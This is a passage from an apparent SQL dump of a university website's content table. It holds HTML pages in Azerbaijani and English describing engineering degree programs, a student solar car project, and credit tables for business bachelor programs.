AVTOMOBİL</strong></p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">Elektronika departamentində tələbə qrupu günəş enerjisi\r\nilə işləyən və gücü 60Vatt olan mini avtomobil hazırlamışdır. </p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;<img width=\"340\" height=\"227\" src=\"/files/radio_depart/9.png\" v:shapes=\"Рисунок_x0020_10\" style=\"width: 500px; height: 335px; margin: 7px;\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p>  <br></div><div><br></div><div><br></div>'),(634,414,'en','Programs and Degrees','','<p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p>The School of Engineering and Applied Science offers various\r\nacademic and professional degree programs in:</p><div><br><ul><li>Computer Science (BS, MS, Ph.D.)</li><li>Computer Engineering (BS, MS, Ph.D.)</li><li>Petroleum&nbsp;Engineering (BS, MS, Ph.D.)</li><li>Civil Engineering (BS)</li><li>Electronics, Telecommunications and Radio Engineering\r\n(BS,&nbsp;MS)</li><li>Mathematics (Ph.D.)</li><li>Biomedical Engineering (BS)</li><li>Chemical Engineering&nbsp;(BS)</li><li>Mechanical Engineering&nbsp;(BS)</li></ul><br></div>\r\n<p style=\"text-align:justify\">The Bachelor of Science (BS) Degree Programs are designed\r\nfor individuals who are at least high school graduates. They provide students\r\nwith a firm foundation in engineering and applied science and prepare graduates\r\nfor immediate practice of the profession as well as advanced studies.</p>\r\n<p style=\"text-align:justify\">The Master of Science (MS) Degree Programs are for\r\nspecialists who wish to obtain an up-to-date understanding of various research,\r\ntechnical, economic or market aspects of particular areas of engineering and\r\napplied science.&nbsp;</p>\r\n<p style=\"text-align:justify\">The Philosophy Doctor (Ph.D.) Degree Program is for\r\nspecialists with deep research interests who wish to enhance their future career\r\nin areas of engineering and applied science.</p>\r\n<p style=\"text-align:justify\">Contemporary engineering and the related fields also require\r\nknowledge of management. The courses offered in economics and management cover\r\nthe requirements for the graduates of the school in these fields.</p>\r\n<p style=\"text-align:justify\">The implementation of all programs conforms to general\r\nstandards due to the research and teaching activities of faculty members and\r\ntheir professional experience, broad scope of personal contacts with\r\nexperienced international experts, and partnerships with international\r\ncompanies and other institutions. The programs successfully meet modern\r\nstandards in research and education as well as the regional, technical,\r\neconomic, social, and educational traditions and specificities.&nbsp;</p>'),(628,411,'az','Konfranslar, Görüşlər və Seminarlar','Konfranslar, Görüşlər və Seminarlar','<p>The\r\nuniversity supports its research mission through advancement of basic and\r\napplied research, nurturing a collaborative research environment,\r\nestablishing&nbsp;research laboratories, and offering an international&nbsp;<a href=\"http://www.khazar.org/en/menus/390/link1\">PhD scholarship program.</a></p>'),(629,411,'en','Conferences, Workshops and Seminars','Conferences, Workshops and Seminars','<br>'),(630,412,'en','Faculty members1','',''),(631,413,'az','link1','link1',''),(632,413,'en','link1','link1','<strong>burda conntent gedecek luink1 ucun</strong>'),(633,229,'az','Bakalavr','Bakalavr','<p>İqtisadiyyat və menecment fakültəsi bakalavr, magistr və doktorantura &nbsp;proqramları təklif edir. Tədris ingilis dilindədir. Müəllimlərin tədqiqat və tədris fəaliyyəti və şəxsi təcrübənin geniş əhatə dairəsi,eləcə də&nbsp;onların xarici alimlər və ali təhsil müəssisələri ilə əlaqələri sayəsində bütün proqramların beynəlxalq standartlara uyğunluğuna nail olunub. Yüksək ixtisaslı mütəxəssislər və yerli və xarici şirkətlərin menecerləri, eləcə də tərəfdaş universitetlərin&nbsp; professorları&nbsp;tədris prosesində iştirak edir.</p><p><strong>Bakalavr dərəcəsi proqramı</strong></p><p>İqtisadiyyat və Menecement fakültəsi Maliyyə, Mühasibat uçotu və audit, Beynəlxalq Biznes, Menecement, Marketinq, İqtisadiyyat və Beynəlxalq İqtisadiyyat ixtisası üzrə bakalavr təhsili verir.</p><p>İqtisadiyyat və Menecement fakültəsinin bakalvr dərəcəsininin tələbləri&nbsp; 128 ümumi kredit təşkil edən üç əsas hissədən ibarətdir.</p><p></p><ul><li>Universitet tələbləri</li><li>Ümumitəhsil tələbləri</li><li>Biznes fondu və ixtisasla bağlı tələblər</li></ul><p>Universitet tələblərinə ümumi sayı 27 kredit olan iki əsas komponentlər daxildir.</p><p><strong>İngilis dili üzrə 15 kredit daxildir:</strong></p><p></p><ul><li>Dinləmə / Oxu 1 (3 kredit)</li><li>Danışıq / Yazı 1 (3 kredit)</li><li>Dinləmə / Oxu 2 (3 kredit)</li><li>Danışıq / Yazı 2 (3 kredit)</li><li>Xüsusi məqsədlər üçün İngilis dili (3 kredit)</li></ul><p></p><p><strong>Azərbaycan dili tədrisində 12 kredit daxildir:</strong></p><p></p><ul><li>Azərbaycan dili və tərkibi (3 kredit)</li><li>Azərbaycan ədəbiyyatı (3 kredit)</li><li>Azərbaycan mədəniyyəti (3 kredit)</li><li>Azərbaycan tarixi (3 kredit)</li></ul><p></p><p>Ümumi Təhsil tələbləri tələbələri&nbsp; minimum 21 kreditlə təmin edir.</p><p></p><p>Humanitar elmlərə ədəbiyyat, dil və dilçilik, fəlsəfə, tarix, mədəniyyət və sivilizasiya, incəsənət və incəsənət tarixi daxildir. Tələbələr hər biri 3 kreditdən ibarət olan minimum 6 kreditli 2 fənn götürməlidir.</p><p>Sosial Elmlərə Coğrafiya, Siyasi Elmlər, Beynəlxalq Münasibətlər, Hüquq və İdarəetmə, Antropologiya, İqtisadiyyat, Sosiologiya və Psixologiya aiddir. Tələbələr hər biri 3 kreditdən ibarət olan minimum 6 kreditli 2 fənn götürməlidir. Fakültə Sosial Elmlər fənni kimi Makroiqtisadiyyatın esasları fənnini də tövsiyə edir.</p><p>Texnologiya və təbiət elmləri ümumitəhsil proqramının bir hissəsi kimi üç sahəni özündə birləşdirir.</p><p>Tələbələr&nbsp; minimum 9 kreditli üç fənn götürməlidir.</p><p></p><ul><li>Fizika elmləri və Riyaziyyat</li><li>Həyat elmləri</li><li>Kompüter elmləri</li></ul><p></p><p>Hər bir ixtisas&nbsp; üçün ixtisasla bağlı&nbsp; tələblər iki qrupa bölünür:&nbsp; Tələb olunanlar və Seçmə fənlər.</p><p>Azad seçimlər: Tələbələr ən azı əlavə 6 kreditli iki dərs götürməlidir. Bu dərslər heç bir məhdudiyyət olmadan hər hansı ixtisas və qeyri-ixtisas bölmələri tərəfindən götürülə bilər.</p><p><strong>Maliyyə üzrə bakalavr dərəcəsi proqramı</strong></p><p>Bu ixtisas Maliyyə, maliyyə təhlili, maliyyə menecmenti və bank sahəsində karyera qurmaq istəyən tələbələr üçün nəzərdə tutulmuşdur. Proqram tələbələrdə maliyyə və digər qurumlarda yerinə yetirilən maliyyə əməliyyatları haqqında bilikləri inkişaf etdirir, bu əməliyyatların düzgün həyata keçirilməsi üçün lazım olan bacarıqları aşılayır.  <br></p><p></p><table cellpadding=\"0\" cellspacing=\"0\" width=\"597\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td width=\"186\"><strong>Kod</strong></td><td width=\"325\"><strong>Fənlər</strong></td><td width=\"87\"><strong>Kreditlər</strong></td></tr><tr><td width=\"186\"><strong>Biznesin mahiyyəti</strong></td><td width=\"325\">&nbsp;</td><td width=\"87\">&nbsp;</td></tr><tr><td width=\"186\">BSA 101</td><td width=\"325\">Biznesə giriş</td><td width=\"87\">3</td></tr><tr><td width=\"186\">ECON 201</td><td width=\"325\">Mikroiqtisadiyyatın əsasları</td><td width=\"87\">4</td></tr><tr><td width=\"186\">ACC 210</td><td width=\"325\">Mühasibat uçotunun əsasları</td><td width=\"87\">3</td></tr><tr><td width=\"186\">ACC 310</td><td width=\"325\">Maliyyə mühasibat uçotu</td><td width=\"87\">3</td></tr><tr><td width=\"186\">BSA 210</td><td width=\"325\">Kompüterlərin biznesdə tətbiqi</td><td width=\"87\">3</td></tr><tr><td width=\"186\">MATH 225</td><td width=\"325\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"87\">3</td></tr><tr><td width=\"186\">BSA 250</td><td width=\"325\">Biznes statistikası</td><td width=\"87\">4</td></tr><tr><td width=\"186\">MKT 301</td><td width=\"325\">Marketinqin əsasları</td><td width=\"87\">3</td></tr><tr><td width=\"186\">LAW 305</td><td width=\"325\">Biznes hüququ</td><td width=\"87\">3</td></tr><tr><td width=\"186\">FIN 310</td><td width=\"325\">Maliyyə menecmentinin əsasları</td><td width=\"87\">3</td></tr><tr><td width=\"186\">MGT 310</td><td width=\"325\">Menecement</td><td width=\"87\">3</td></tr><tr><td width=\"186\">ECON 390</td><td width=\"325\">Dünya iqtisadiyyatı</td><td width=\"87\">3</td></tr><tr><td width=\"186\">IB 410</td><td width=\"325\">Beynəlxalq biznes</td><td width=\"87\">3</td></tr><tr><td width=\"186\">MGT 410</td><td width=\"325\">Təşkilati davranış</td><td width=\"87\">3</td></tr><tr><td width=\"186\">MGT 440</td><td width=\"325\">Əməliyyatların menecmenti</td><td width=\"87\">3</td></tr><tr><td width=\"186\">MGT 465</td><td width=\"325\">Ətraflı: Strateji menecement və<br>&nbsp;Biznes siyasəti</td><td width=\"87\">3</td></tr><tr><td colspan=\"2\" width=\"511\">Kreditlərin ümumi sayı</td><td width=\"87\">50</td></tr></tbody></table>&nbsp;<strong>İxtisaslar</strong><table cellpadding=\"0\" cellspacing=\"0\" width=\"580\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td colspan=\"2\" width=\"510\">Tələb olunanlar</td><td width=\"70\">&nbsp;</td></tr><tr><td width=\"186\">FIN 410</td><td width=\"324\">Maliyyə menecmenti</td><td width=\"70\">3</td></tr><tr><td width=\"186\">FIN 420</td><td width=\"324\">İnvestisiyaların menecementi</td><td width=\"70\">3</td></tr><tr><td width=\"186\">FIN 440</td><td width=\"324\">Maliyyə bazarları və qurumları</td><td width=\"70\">3</td></tr><tr><td width=\"186\">FIN 465</td><td width=\"324\">Maliyyə risk menecementi</td><td width=\"70\">3</td></tr><tr><td width=\"186\">Seçmə fənlər</td><td width=\"324\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"70\">12</td></tr><tr><td colspan=\"2\" width=\"510\"><strong>Kreditlərin ümumi sayı</strong></td><td width=\"70\"><strong>24</strong></td></tr><tr><td colspan=\"2\" width=\"510\"><strong>Cəmi</strong></td><td width=\"70\"><strong>128</strong></td></tr></tbody></table><p></p><p><strong>QEYD:</strong> Fakültə digər alternativ fənlər təklif edə bilər.</p><p><strong>Mühasibatlıq üzrə bakalvr dərəcəsi proqramı</strong></p><p>Proqram Mühasibat uçotu və audit sahəsində işləmək üçün tələb olunan bilik və vərdişləri inkişaf etdirir.&nbsp; Bu proqram maliyyə audit, əməliyyatın yoxlanılması, maliyyə hesabatları, korporativ vergi planlaşdırılması, xərclərin təhlili və nəzarəti kimi sahələri əhatə edir.</p><p></p><table cellpadding=\"0\" cellspacing=\"0\" width=\"568\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td width=\"177\"><strong>Kod</strong></td><td width=\"309\"><strong>Fənlər</strong></td><td width=\"82\"><strong>Kreditlər</strong></td></tr><tr><td width=\"177\"><strong>Biznesin mahiyyəti</strong></td><td width=\"309\">&nbsp;</td><td width=\"82\">&nbsp;</td></tr><tr><td width=\"177\">BSA 101</td><td width=\"309\">Biznesə giriş</td><td width=\"82\">3</td></tr><tr><td width=\"177\">ECON 201</td><td width=\"309\">Mikroiqtisadiyyatın əsasları</td><td width=\"82\">4</td></tr><tr><td width=\"177\">ACC 210</td><td width=\"309\">Mühasibat uçotunun əsasları</td><td width=\"82\">3</td></tr><tr><td width=\"177\">ACC 310</td><td width=\"309\">Maliyyə mühasibat uçotu</td><td width=\"82\">3</td></tr><tr><td width=\"177\">BSA 210</td><td width=\"309\">Kompüterlərin biznesə tətbiqi</td><td width=\"82\">3</td></tr><tr><td width=\"177\">MATH 225</td><td width=\"309\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"82\">3</td></tr><tr><td width=\"177\">BSA 250</td><td width=\"309\">Biznes statistikası</td><td width=\"82\">4</td></tr><tr><td width=\"177\">MKT 301</td><td width=\"309\">Marketinqin əsasları</td><td width=\"82\">3</td></tr><tr><td width=\"177\">LAW 305</td><td width=\"309\">Biznes hüququ</td><td width=\"82\">3</td></tr><tr><td width=\"177\">FIN 310</td><td width=\"309\">Maliyyə menecementinin əsasları</td><td width=\"82\">3</td></tr><tr><td width=\"177\">MGT 310</td><td width=\"309\">Menecement</td><td width=\"82\">3</td></tr><tr><td width=\"177\">ECON 390</td><td width=\"309\">Dünya iqtisadiyyatı</td><td width=\"82\">3</td></tr><tr><td width=\"177\">IB 410</td><td width=\"309\">Beynəlxalq biznes</td><td width=\"82\">3</td></tr><tr><td width=\"177\">MGT 410</td><td width=\"309\">Təşkilati davranış</td><td width=\"82\">3</td></tr><tr><td width=\"177\">MGT 440</td><td width=\"309\">Əməliyyatların menecementi</td><td width=\"82\">3</td></tr><tr><td width=\"177\">MGT 465</td><td width=\"309\">Ətraflı: Strateji menecement və<br>Biznes siyasəti</td><td width=\"82\">3</td></tr><tr><td colspan=\"2\" width=\"486\">Kreditlərin ümumi sayı</td><td width=\"82\">50</td></tr></tbody></table>&nbsp;<strong>İxtisaslar</strong><table cellpadding=\"0\" cellspacing=\"0\" width=\"586\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td colspan=\"2\" width=\"515\">Tələb olunanlar</td><td width=\"71\">&nbsp;</td></tr><tr><td width=\"188\">ACC 420</td><td width=\"328\">Maliyyə hesabatları</td><td width=\"71\">3</td></tr><tr><td width=\"188\">ACC 410</td><td width=\"328\">İdarəetmə mühasibat uçotu</td><td width=\"71\">3</td></tr><tr><td width=\"188\">ACC 450</td><td width=\"328\">Audit</td><td width=\"71\">3</td></tr><tr><td width=\"188\">ACC 490</td><td width=\"328\">Vergiqoyma</td><td width=\"71\">3</td></tr><tr><td width=\"188\">Seçmə fənlər</td><td width=\"328\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"71\">12</td></tr><tr><td colspan=\"2\" width=\"515\"><strong>Kreditlərin ümumi sayı</strong></td><td width=\"71\"><strong>24</strong></td></tr><tr><td width=\"188\"><strong>Cəmi</strong></td><td width=\"328\">&nbsp;</td><td width=\"71\"><strong>128</strong></td></tr></tbody></table><p></p><p><strong>QEYD:&nbsp;</strong>Fakültə digər alternativ fənlər təklif edə bilər.</p><p><strong>Menecment üzrə bakalvr dərəcəsi proqramı</strong></p><p><strong></strong>Proqram biznes və digər sahələrdə işləyən menecerlərə lazım olan bilik və vərdişləri aşılayır. Bu proqram istehsalat prosesində &nbsp;və təşkilatların xidmətində yaranan&nbsp; inzibati və təşkilati problemləri təhlil və həll edə bilmək qabiliyyətini inkişaf etdirir.</p><p></p><table cellpadding=\"0\" cellspacing=\"0\" width=\"611\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td width=\"190\"><strong>Kod</strong></td><td width=\"332\"><strong>Fənlər</strong></td><td width=\"89\"><strong>Kreditlər</strong></td></tr><tr><td width=\"190\"><strong>Biznesin mahiyyəti</strong></td><td width=\"332\">&nbsp;</td><td width=\"89\">&nbsp;</td></tr><tr><td width=\"190\">BSA 101</td><td width=\"332\">Biznesə giriş</td><td width=\"89\">3</td></tr><tr><td width=\"190\">ECON 201</td><td width=\"332\">Mikroiqtisadiyyatın əsasları</td><td width=\"89\">4</td></tr><tr><td width=\"190\">ACC 210</td><td width=\"332\">Mühasibat uçotunun əsasları</td><td width=\"89\">3</td></tr><tr><td width=\"190\">ACC 310</td><td width=\"332\">Maliyyə mühasibat uçotu</td><td width=\"89\">3</td></tr><tr><td width=\"190\">BSA 210</td><td width=\"332\">Kompüterlərin biznesə tətbiqi</td><td width=\"89\">3</td></tr><tr><td width=\"190\">MATH 225</td><td width=\"332\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"89\">3</td></tr><tr><td width=\"190\">BSA 250</td><td width=\"332\">Biznes statistikası</td><td width=\"89\">4</td></tr><tr><td width=\"190\">MKT 301</td><td width=\"332\">Marketinqin əsasları</td><td width=\"89\">3</td></tr><tr><td width=\"190\">LAW 305</td><td width=\"332\">Biznes hüququ</td><td width=\"89\">3</td></tr><tr><td width=\"190\">FIN 310</td><td width=\"332\">Maliyyə menecementi</td><td width=\"89\">3</td></tr><tr><td width=\"190\">MGT 310</td><td width=\"332\">Menecement</td><td width=\"89\">3</td></tr><tr><td width=\"190\">ECON 390</td><td width=\"332\">Dünya iqtisadiyyatı</td><td width=\"89\">3</td></tr><tr><td width=\"190\">IB 410</td><td width=\"332\">Beynəlxalq biznes</td><td width=\"89\">3</td></tr><tr><td width=\"190\">MGT 410</td><td width=\"332\">Təşkilati davranış</td><td width=\"89\">3</td></tr><tr><td width=\"190\">MGT 440</td><td width=\"332\">Əməliyyatların menecementi</td><td width=\"89\">3</td></tr><tr><td width=\"190\">MGT 465</td><td width=\"332\">Ətraflı: Strateji menecement və<br>Biznes siyasəti</td><td width=\"89\">3</td></tr><tr><td colspan=\"2\" width=\"523\">Kreditlərin ümumi sayı</td><td width=\"89\">50</td></tr></tbody></table><strong>&nbsp;</strong><strong>İxtisaslar</strong><table cellpadding=\"0\" cellspacing=\"0\" width=\"602\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td colspan=\"2\" width=\"529\"><strong>Tələb olunanlar</strong></td><td width=\"73\">&nbsp;</td></tr><tr><td width=\"193\">MGT 420</td><td width=\"337\">İdarəetmə ünsiyyəti</td><td width=\"73\">3</td></tr><tr><td width=\"193\">MGT 450</td><td width=\"337\">İnsan qaynaqlarının menecmenti</td><td width=\"73\">3</td></tr><tr><td width=\"193\">MGT 455</td><td width=\"337\">Sahibkarlıq və innovasıya menecmenti</td><td width=\"73\">3</td></tr><tr><td width=\"193\">MGT 480</td><td width=\"337\">Liderliyin prinsipləri və tətbiqi</td><td width=\"73\">3</td></tr><tr><td width=\"193\"><strong>Seçmə fənlər</strong></td><td width=\"337\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"73\">12</td></tr><tr><td colspan=\"2\" width=\"529\"><strong>Kreditlərin ümumi sayı</strong></td><td width=\"73\"><strong>24</strong></td></tr><tr><td width=\"193\"><strong>Ümumilikdə</strong></td><td width=\"337\">&nbsp;</td><td width=\"73\"><strong>128</strong></td></tr></tbody></table><p><strong>QEYD:&nbsp;</strong>Fakültə digər alternativ fənlər təklif edə bilər.</p><p><strong>Biznes idarəçiliyi üzrə bakalavr dərəcəsi proqramı (ümumi)</strong></p><p><strong></strong>Ümumi biznesin idarəolunması &nbsp;proqramı biznes və digər təşkilatların generalist rəhbərləri tərəfindən tələb olunan əsas bacarıqları inkişaf etdirmək üçün nəzərdə tutulmuşdur. Bu proqram iş fəaliyyətində yaranan&nbsp; inzibati və təşkilati problemləri təhlil və həll edə bilmək qabiliyyətini inkişaf etdirir.</p><p></p><p></p><table cellpadding=\"0\" cellspacing=\"0\" width=\"565\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td width=\"176\"><strong>Kod</strong></td><td width=\"307\"><strong>Fənlər</strong></td><td width=\"82\"><strong>Kreditlər</strong></td></tr><tr><td width=\"176\"><strong>Biznesin mahiyyəti</strong></td><td width=\"307\">&nbsp;</td><td width=\"82\">&nbsp;</td></tr><tr><td width=\"176\">BSA 101</td><td width=\"307\">Biznesə giriş</td><td width=\"82\">3</td></tr><tr><td width=\"176\">ECON 201</td><td width=\"307\">Mikroiqtisadiyyatın əsasları</td><td width=\"82\">4</td></tr><tr><td width=\"176\">ACC 210</td><td width=\"307\">Mühasibat uçotunun əsasları</td><td width=\"82\">3</td></tr><tr><td width=\"176\">ACC 310</td><td width=\"307\">Maliyyə mühasibat uçotu</td><td width=\"82\">3</td></tr><tr><td width=\"176\">BSA 210</td><td width=\"307\">Kompüterlərin biznesə tətbiqi</td><td width=\"82\">3</td></tr><tr><td width=\"176\">MATH 225</td><td width=\"307\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"82\">3</td></tr><tr><td width=\"176\">BSA 250</td><td width=\"307\">Biznes statistikası</td><td width=\"82\">4</td></tr><tr><td width=\"176\">MKT 301</td><td width=\"307\">Marketinqin əsasları</td><td width=\"82\">3</td></tr><tr><td width=\"176\">LAW 305</td><td width=\"307\">Biznes hüququ</td><td width=\"82\">3</td></tr><tr><td width=\"176\">FIN 310</td><td width=\"307\">Maliyyə menecmenti</td><td width=\"82\">3</td></tr><tr><td width=\"176\">MGT 310</td><td width=\"307\">Menecment</td><td width=\"82\">3</td></tr><tr><td width=\"176\">ECON 390</td><td width=\"307\">Dünya iqtisadiyyatı</td><td width=\"82\">3</td></tr><tr><td width=\"176\">IB 410</td><td width=\"307\">Beynəlxalq biznes</td><td width=\"82\">3</td></tr><tr><td width=\"176\">MGT 410</td><td width=\"307\">Təşkilati davranış</td><td width=\"82\">3</td></tr><tr><td width=\"176\">MGT 440</td><td width=\"307\">Əməliyyatların menecmenti</td><td width=\"82\">3</td></tr><tr><td width=\"176\">MGT 465</td><td width=\"307\">Ətraflı: Strateji menecment və<br>Biznes siyasəti</td><td width=\"82\">3</td></tr><tr><td colspan=\"2\" width=\"483\">Kreditlərin ümumi sayı</td><td width=\"82\">50</td></tr></tbody></table>&nbsp;<strong>İxtisaslar</strong><table cellpadding=\"0\" cellspacing=\"0\" width=\"568\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td colspan=\"2\" width=\"499\"><strong>Tələb olunanlar</strong></td><td width=\"69\">&nbsp;</td></tr><tr><td width=\"182\">MGT 425</td><td width=\"318\">Biznes və peşəkar ünsiyyət</td><td width=\"69\">3</td></tr><tr><td width=\"182\">MGT 450</td><td width=\"318\">İnsan qaynaqlarının idarə olunması</td><td width=\"69\">3</td></tr><tr><td width=\"182\">MGT 445</td><td width=\"318\">Biznesin modelləşdirilməsi və resursların bölüşdürülməsi</td><td width=\"69\">3</td></tr><tr><td width=\"182\">MGT 460</td><td width=\"318\">Biznes etikası və sosial məsuliyyət</td><td width=\"69\">3</td></tr><tr><td width=\"182\"><strong>Seçmə fənlər</strong></td><td width=\"318\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"69\">12</td></tr><tr><td colspan=\"2\" width=\"499\"><strong>Kreditlərin ümumi sayı</strong></td><td width=\"69\"><strong>24</strong></td></tr><tr><td width=\"182\"><strong>Ümumilikdə</strong></td><td width=\"318\">&nbsp;</td><td width=\"69\"><strong>128</strong></td></tr></tbody></table><p><strong>QEYD:&nbsp;</strong>Fakültə digər alternativ fənlər təklif edə bilər.&nbsp;</p><p><strong>Beynəlxalq Biznes üzrə bakalavr dərəcəsi proqramı</strong></p><p><strong></strong>Beynəlxalq Biznes Proqramı əsasən&nbsp;qlobal biznes mühitində &nbsp;özlərini menecer kimi tanıtmaq istəyən tələbələr üçün nəzərdə tutulmuşdur. Bu proqram tələbələri qlobal mühitdə lider və menecer rolunu müvəffəqiyyətlə yerinə yetirmək üçün peşəkar və mədəni biliklə təmin edir.</p><p></p><p></p><table cellpadding=\"0\" cellspacing=\"0\" width=\"595\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td width=\"185\"><strong>Kod</strong></td><td width=\"324\"><strong>Fənlər</strong></td><td width=\"86\"><strong>Kreditlər</strong></td></tr><tr><td width=\"185\"><strong>Biznesin mahiyyəti</strong></td><td width=\"324\">&nbsp;</td><td width=\"86\">&nbsp;</td></tr><tr><td width=\"185\">BSA 101</td><td width=\"324\">Biznes fənninə giriş</td><td width=\"86\">3</td></tr><tr><td width=\"185\">ECON 201</td><td width=\"324\">Mikroiqtisadiyyatın əsasları</td><td width=\"86\">4</td></tr><tr><td width=\"185\">ACC 210</td><td width=\"324\">Mühasibat uçotunun əsasları</td><td width=\"86\">3</td></tr><tr><td width=\"185\">ACC 310</td><td width=\"324\">Maliyyə mühasibat uçotu</td><td width=\"86\">3</td></tr><tr><td width=\"185\">BSA 210</td><td width=\"324\">Kompüterin biznesə tətbiqi</td><td width=\"86\">3</td></tr><tr><td width=\"185\">MATH 225</td><td width=\"324\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"86\">3</td></tr><tr><td width=\"185\">BSA 250</td><td width=\"324\">Biznes statistikası</td><td width=\"86\">4</td></tr><tr><td width=\"185\">MKT 301</td><td width=\"324\">Marketinqin əsasları</td><td width=\"86\">3</td></tr><tr><td width=\"185\">LAW 305</td><td width=\"324\">Biznes hüququ</td><td width=\"86\">3</td></tr><tr><td width=\"185\">FIN 310</td><td width=\"324\">Maliyyə menecmentinin əsasları</td><td width=\"86\">3</td></tr><tr><td width=\"185\">MGT 310</td><td width=\"324\">Menecment və təşkilatçılıq</td><td width=\"86\">3</td></tr><tr><td width=\"185\">ECON 390</td><td width=\"324\">Dünya iqtisadiyyatı</td><td width=\"86\">3</td></tr><tr><td width=\"185\">IB 410</td><td width=\"324\">Beynəlxalq biznes</td><td width=\"86\">3</td></tr><tr><td width=\"185\">MGT 410</td><td width=\"324\">Təşkilati davranış</td><td width=\"86\">3</td></tr><tr><td width=\"185\">MGT 440</td><td width=\"324\">İstehsalın və əməliyyatların menecmenti</td><td width=\"86\">3</td></tr><tr><td width=\"185\">MGT 465</td><td width=\"324\">Ətraflı: Strateji menecment və<br>Biznes siyasəti</td><td width=\"86\">3</td></tr><tr><td colspan=\"2\" width=\"509\">Kreditlərin ümumi sayı</td><td width=\"86\">50</td></tr></tbody></table>&nbsp;<strong>İxtisaslar</strong><table cellpadding=\"0\" cellspacing=\"0\" width=\"582\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td colspan=\"2\" width=\"91%\"><strong>Tələb olunanlar</strong></td><td width=\"8%\">&nbsp;</td></tr><tr><td width=\"32%\">MKT 420</td><td width=\"59%\">Beynəlxalq marketinq</td><td width=\"8%\">3</td></tr><tr><td width=\"32%\">FIN 470</td><td width=\"59%\">Beynəlxalq maliyyə</td><td width=\"8%\">3</td></tr><tr><td width=\"32%\">IB 440</td><td width=\"59%\">Beynəlxalq ticarət</td><td width=\"8%\">3</td></tr><tr><td width=\"32%\">MGT 470</td><td width=\"59%\">Beynəlxalq menecment</td><td width=\"8%\">3</td></tr><tr><td width=\"32%\"><strong>Seçmə fənlər</strong></td><td width=\"59%\">(Seçmə fənlər fakültənin təklif etdiyi fənlər siyahısından seçilməlidir)</td><td width=\"8%\">12</td></tr><tr><td colspan=\"2\" width=\"91%\"><strong>Kreditlərin ümumi sayı</strong></td><td width=\"8%\"><strong>24</strong></td></tr><tr><td width=\"32%\"><strong>Cəmi</strong></td><td width=\"59%\">&nbsp;</td><td width=\"8%\"><strong>128</strong></td></tr></tbody></table><p><strong>QEYD:&nbsp;</strong>Fakültə digər alternativ fənlər təklif edə bilər.</p><p><strong>Marketinq üzrə bakalavr dərəcəsi proqramı</strong></p><p><strong></strong>Marketinq proqramı ümumi marketinq, bazar və istehlakçıların əlaqələri, məhsulun inkişafı, qiymətləndirmə, reklam, həvəsləndirməvə bolgü kimi əsas biliklərin təmin olunması üçün nəzərdə tutulmuşdur.</p><p></p><p></p><table cellpadding=\"0\" cellspacing=\"0\" width=\"584\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td width=\"182\"><strong>Kod</strong></td><td width=\"318\"><strong>Fənlər</strong></td><td width=\"85\"><strong>Kreditlər</strong></td></tr><tr><td width=\"182\"><strong>Biznesin mahiyyəti</strong></td><td width=\"318\">&nbsp;</td><td width=\"85\">&nbsp;</td></tr><tr><td width=\"182\">BSA 101</td><td width=\"318\">Biznes fənninə giriş</td><td width=\"85\">3</td></tr><tr><td width=\"182\">ECON 201</td><td width=\"318\">Mikroiqtisadiyyatın əsasları</td><td width=\"85\">4</td></tr><tr><td width=\"182\">ACC 210</td><td width=\"318\">Mühasibat uçotunun əsasları</td><td width=\"85\">3</td></tr><tr><td width=\"182\">ACC 310</td><td width=\"318\">Maliyyə mühasibat uçotu</td><td width=\"85\">3</td></tr><tr><td width=\"182\">BSA 210</td><td width=\"318\">Kompüterin biznesə tətbiqi</td><td width=\"85\">3</td></tr><tr><td width=\"182\">MATH 225</td><td width=\"318\">İqtisadiyyat və biznes riyaziyyatı</td><td width=\"85\">3</td></tr><tr><td width=\"182\">BSA 250</td><td width=\"318\">Biznes statistikası</td><td width=\"85\">4</td></tr><tr><td width=\"182\">MKT 301</td><td width=\"318\">Marketinqin əsasları</td><td width=\"85\">3</td></tr><tr><td width=\"182\">LAW 305</td><td width=\"318\">Biznes hüququ</td><td width=\"85\">3</td></tr><tr><td width=\"182\">FIN 310</td><td width=\"318\">Maliyyə menecmentinin əsasları</td><td width=\"85\">3</td></tr><tr><td width=\"182\">MGT 310</td><td width=\"318\">Menecment və təşkilatçılıq</td><td width=\"85\">3</td></tr><tr><td width=\"182\">ECON 390</td><td width=\"318\">Dünya iqtisadiyyatı</td><td width=\"85\">3</td></tr><tr><td width=\"182\">IB 410</td><td width=\"318\">Beynəlxalq biznes</td><td width=\"85\">3</td></tr><tr><td width=\"182\">MGT 410</td><td width=\"318\">Təşkilati davranış</td><td width=\"85\">3</td></tr><tr><td width=\"182\">MGT 440</td><td width=\"318\">İstehsalın və əməliyyatların menecmenti</td><td width=\"85\">3</td></tr><tr><td width=\"182\">MGT 465</td><td width=\"318\">Ətraflı: Strateji menecment və<br>Biznes siyasəti</td><td width=\"85\">3</td></tr><tr><td colspan=\"2\" width=\"500\">Kreditlərin ümumi sayı</td><td width=\"85\">50</td></tr></tbody></table>&nbsp;<strong>İxtisaslar</strong><table cellpadding=\"0\" cellspacing=\"0\" width=\"568\" style=\"font-family:\'times new roman\', times, 